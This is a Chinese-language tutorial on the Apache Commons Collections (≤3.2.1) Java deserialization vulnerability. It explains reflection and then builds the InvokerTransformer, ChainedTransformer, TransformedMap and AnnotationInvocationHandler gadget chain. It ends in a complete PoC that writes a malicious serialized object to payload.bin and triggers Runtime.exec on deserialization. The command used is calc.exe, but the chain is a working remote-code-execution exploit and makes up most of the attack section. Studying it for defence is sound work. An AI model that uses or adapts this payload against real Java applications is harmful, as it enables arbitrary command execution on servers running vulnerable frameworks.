反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞

Java Apache Commons Collections反序列化漏洞

项目地址：Collections – Download Apache Commons Collections

本地复现环境：

• jdk 1.7.0_80
• IDEA Project Structrure——>Projrct设置成1.7
• IDEA Project Structrure——>Moudles设置成1.7
• Settings——>Build,Execution,Deployment——>Compiler——>Java
  Compiler——>Target bytecode version设置成7
• Apache Commons Collections ≤ 3.2.1

Apache Commons Collections介绍

Apache Commons Collections 是一个扩展了Java标准库里集合类Collection结构的第三方基础库，它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件，Commons Collections被广泛应用于各种Java应用的开发

Commons Collections 实现了一个TransformedMap类，该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时，自动对该元素进行特定的修饰变换，具体的变换逻辑由Transformer类定义，Transformer在TransformedMap实例化时作为参数传入

Commons Collections：

• Bag interface for collections that have a number of copies of each
  object
• BidiMap interface for maps that can be looked up from value to key as
  well and key to value
• MapIterator interface to provide simple and quick iteration over maps
• Transforming decorators that alter each object as it is added to the
  collection
• Composite collections that make multiple collections look like one
• Ordered maps and sets that retain the order elements are added in,
  including an LRU based map
• Reference map that allows keys and/or values to be garbage collected
  under close control Many comparator implementations
• Many iterator implementations
• Adapter classes from array and enumerations to collections
• Utilities to test or create typical set-theory properties of
  collections such as union, intersection, and closure

Java反射机制Reflection

首先我们来了解一下Java代码为什么能够跑起来：

1、首先我们程序员写出源码
2、编译器（javac）将源码编译为字节码.class文件
3、各平台JVM解释器把字节码文件转换成操作系统指令

反射机制是java的一个非常重要的机制，一些著名的应用框架都使用了此机制，如struts、spring、hibernate、android app界面等等

java.lang.Class它是java语法的一个基础类，用于描述一个class对象。在文件系统中，class以文件的形式存在。在运行的JVM中，*.class文件被加载到内存中成为一个对象，该对象的类型就是java.lang.Class

什么是反射？

在运行状态中，对于任意一个类，都能够获取到这个类的所有属性和方法，对于任意一个对象，都能够调用它的任意一个方法和属性(包括私有的方法和属性)，这种动态获取信息以及动态调用对象的方法的功能就称为java语言的反射机制。也就是说，虽然我们获取不到该类的源代码，但是通过该类的.class文件能反射(Reflect)出这些信息

通俗点讲，通过反射，该类对我们来说是完全透明的，想要获取任何东西都可以。

想要使用反射机制，就必须要先获取到该类的字节码文件对象 .class，java.lang.Class类表示 .class 字节码文件对象。通过字节码文件对象，就能够通过该类中的方法获取到我们想要的所有信息(方法、属性、类名、父类名、实现的所有接口等等)，每一个类对应着一个字节码文件也就对应着一个Class类型的对象，也就是字节码文件对象。

获取.class字节码文件对象

获取字节码文件对象的三种方式，有了字节码文件对象才能获得类中所有的信息，我们在使用反射获取信息时，也要考虑使用下面哪种方式获取字节码对象合理，视不同情况而定

//方法一
Class clazz1 = Class.forName("my.Student");//通过Class类中的静态方法forName，直接获取到一个类的字节码文件对象，此时该类还是源文件阶段，并没有变为字节码文件。包名为 my，类名为 Student
//方法二
Class clazz2 = Student.class;  //当类被加载成.class文件时，此时Student.java类变成了Student.class，该类处于字节码阶段
//方法三
Student s=new Student();    //实例化Student对象
Class clazz3 = s.getClass();　//通过该类的实例获取该类的字节码文件对象，该类处于创建对象阶段

获取该.class字节码文件对象的详细信息

当我们得到一个.class字节码文件对象，我们可以得到以下信息：

• 类名 (含package路径)
• 函数 (名称，参数类型，返回值）
• 域 （名称，类型）
• 实现的接口 (interfaces)

使用 java.lang.reflect.*下的类来实现

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.text.DateFormat.Field;
 
public class main 
	public static void main(String[] args) throws Exception{
		Object obj=new Student();  //Student实例
		Class cls=obj.getClass();  //得到Student字节码对象
	
		//通过函数名和函数参数，得到函数
		String methodName="setId";           //函数名字
		Class[] par={int.class,String.class};  //函数参数
		Method m=cls.getMethod(methodName, par);   //返回函数
		//调用method
		Object[]  paramters={123,"haha"};   //传递参数
		m.invoke(obj,paramters);       //执行函数
		
		cls.getPackage();  //获取包信息
		String str=cls.getSimpleName();   //Student ，获得该类的名字，不包含包名
		String str2=cls.getName();       //my.Student，获得该类的名字，包含包名
		Object obj2=cls.newInstance();    //创建一个实例，要求有一个不带参数的构造函数 
		int modified=cls.getModifiers();  //获取cls对象的类修饰符
		Class[] interfaces=cls.getInterfaces();  //获取实现的接口集合
		Constructor[]  con=cls.getConstructors();  //获取构造函数的集合
		Method[]  methods=cls.getMethods();  //获取函数列表
		cls.getDeclaredAnnotations();  //获取私有函数(protected和private修饰的)
		java.lang.reflect.Field[]  fields=cls.getFields();  //获取成员变量列表
		cls.getDeclaredField(str2);  //获取私有变量(protected和private修饰的)
	}
}

通过反射机制执行函数

Apache Commons Collections中已经实现了一些常见的 Transformer，其中的 InvokerTransformer 接口实现了反射链，可以通过Java的反射机制来执行任意命令。于是我们可以通过InvokerTransformer的反射链获得Runtime类来执行系统命令

test1函数可以看成是普通执行函数的方式，test2函数可以看成是通过反射机制执行函数

import java.io.*;

public class Reflect {
    public static void main(String[] args) throws IOException {
        test2();

    }

    public static void test1() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public static void test2(){
        try {
            //初始化Runtime类
            Class clazz = Class.forName("java.lang.Runtime");
            // 调用Runtime类中的getRuntime方法得到Runtime类的对象
            Object rt = clazz.getMethod("getRuntime").invoke(clazz);
            //再次使用invoke调用Runtime类中的方法时，传递我们获得的对象，这样就可以调用
            clazz.getMethod("exec",String.class).invoke(rt,"calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

运行代码，可以看到，执行了 calc.exe 的命令

Apache Commons Collections 漏洞原理

Commons Collectionss漏洞是2015年黑客Gabriel Lawrence和Chris Frohoff发
现的，影响WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等大型框架

Commons Collections 漏洞中几个关键的类：

• InvokeTransformer //利用Java反射机制来创建类实例
• ChainedTransformer //实现了Transformer链式调用，我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform()方法
• ConstantTransformer //transform()返回构造函数的对象
• TransformedMap

在上面的 InvokerTransformer反射链我已经介绍了如何通过修改Value值来触发执行反射链来执行任意命令

但是目前的构造还需要依赖于修改Map中的Value值去触发调用反射链，我们需要想办法通过readObject()直接触发

如果某个可序列化的类重写了readObject()方法，并且在readObject()中对Map类型的变量进行了键值修改操作，并且这个Map参数是可控的，就可以实现我们的攻击目标了

于是，我们找到了这个类：AnnotationInvocationHandler ，这个类有一个成员变量 memberValues 是Map类型，并且在重写的 readObject() 方法中有 memberValue.setValue() 修改Value的操作。简直是完美！

于是我们可以实例化一个AnnotationInvocationHandler类，将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化，提交给未做安全检查的Java应用。Java应用在进行反序列化操作时，执行了readObject()函数，修改了Map的Value，则会触发TransformedMap的变换函数transform()，再通过反射链调用了Runtime.getRuntime.exec(“calc”) 命令，最终就可以执行我们的任意代码了，一切是那么的天衣无缝

调用链路:

poc构造思路

1、InvokeTransformer //反射执行代码
2、ChainedTransformer //链式调用，自动触发
3、ConstantTransformer //获得对象
4、TransformedMap //元素变化执行transform，setValue——checkSetValue
5、AnnotationInvocationHandler //readObject 调用Map的setValue

Payload调用流程：

1、对利用类AnnotationInvocationHandler进行序列化，然后交给Java程序
反序列化
2、在进行反序列化时，会执行readObject()方法，该方法会用setValue对成
员变量TransformedMap的Value值进行修改
3、value修改触发了TransformedMap实例化时传入的参数InvokerTransformer的checkSetValue——transform()方法
4、放到Map里面的是InvokeTransformer数组，transform()方法被依次调用
5、InvokerTransformer.transform()方法通过反射，调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令

反序列化漏洞payload

InvokerTransformer反射触发：

我们新建一个TranTest1类：

import org.apache.commons.collections.functors.InvokerTransformer;

/**
 * InvokerTransformer反射触发
 */
public class TransTest1 {
    public static void main(String[] args)  {
        // 创建实例 传入构造方法参数 （函数名 参数类型 参数值）
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"Calc.exe"}
        );

        try {
            // 通过反射机制依次获得Runtime类 getRuntime构造方法 最后生成Runtime实例
            // Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
            Object input = Runtime.getRuntime();
                    // 执行transform函数
            invokerTransformer.transform(input);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

代码运行后的效果如下：

但是这种方法属于静态触发，我们需要的是自动触发

ChainedTransformer遍历触发：

我们新建一个TranTest2类：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

/**
 * ChainedTransformer遍历触发
 *
 *   等同于 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");
 *
 */
public class TransTest2 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                // 获得Runtime类对象
                new ConstantTransformer(Runtime.class),
                // 传入Runtime类对象 反射执行getMethod获得getRuntime方法
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                ),
                // 传入getRuntime方法 反射执行invoke方法 得到Runtime实例
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, null }
                ),
                // 传入Runtime实例 执行exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"Calc.exe"})
        };

        // ChainedTransformer
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(null);
    }
}

代码运行后效果如下：

invokerTransformer.transform()方法通过反射调用函数来执行系统命令

现在我们来构造一个完整的攻击链

现在我们新建一个Poc类：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

/**
 * 封装为TransformedMap
 */
public class Poc {
    public static void main(String[] args) {
        try {
            Transformer[] transformers = new Transformer[]{
                    // 获得Runtime类对象
                    new ConstantTransformer(Runtime.class),
                    // 传入Runtime类对象 反射执行getMethod获得getRuntime方法
                    new InvokerTransformer(
                            "getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", null}
                    ),
                    // 传入getRuntime方法对象 反射执行invoke方法 得到Runtime实例
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, null}
                    ),
                    // 传入Runtime实例 执行exec方法
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new Object[]{"calc.exe"})
            };

            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

            Map innermap = new HashMap();
            innermap.put("value", "value");
            Map outermap = TransformedMap.decorate(innermap, null, chainedTransformer);
            // 构造包含恶意map的AnnotationInvocationHandler对象
            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
            cst.setAccessible(true);
            Object exploitObj = cst.newInstance(Target.class, outermap);

            // 序列化
            FileOutputStream fos = new FileOutputStream("payload.bin");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(exploitObj);
            oos.close();

            // 反序列化
            FileInputStream fis = new FileInputStream("payload.bin");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Object result = ois.readObject();
            ois.close();
            System.out.println(result);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

代码运行后的效果：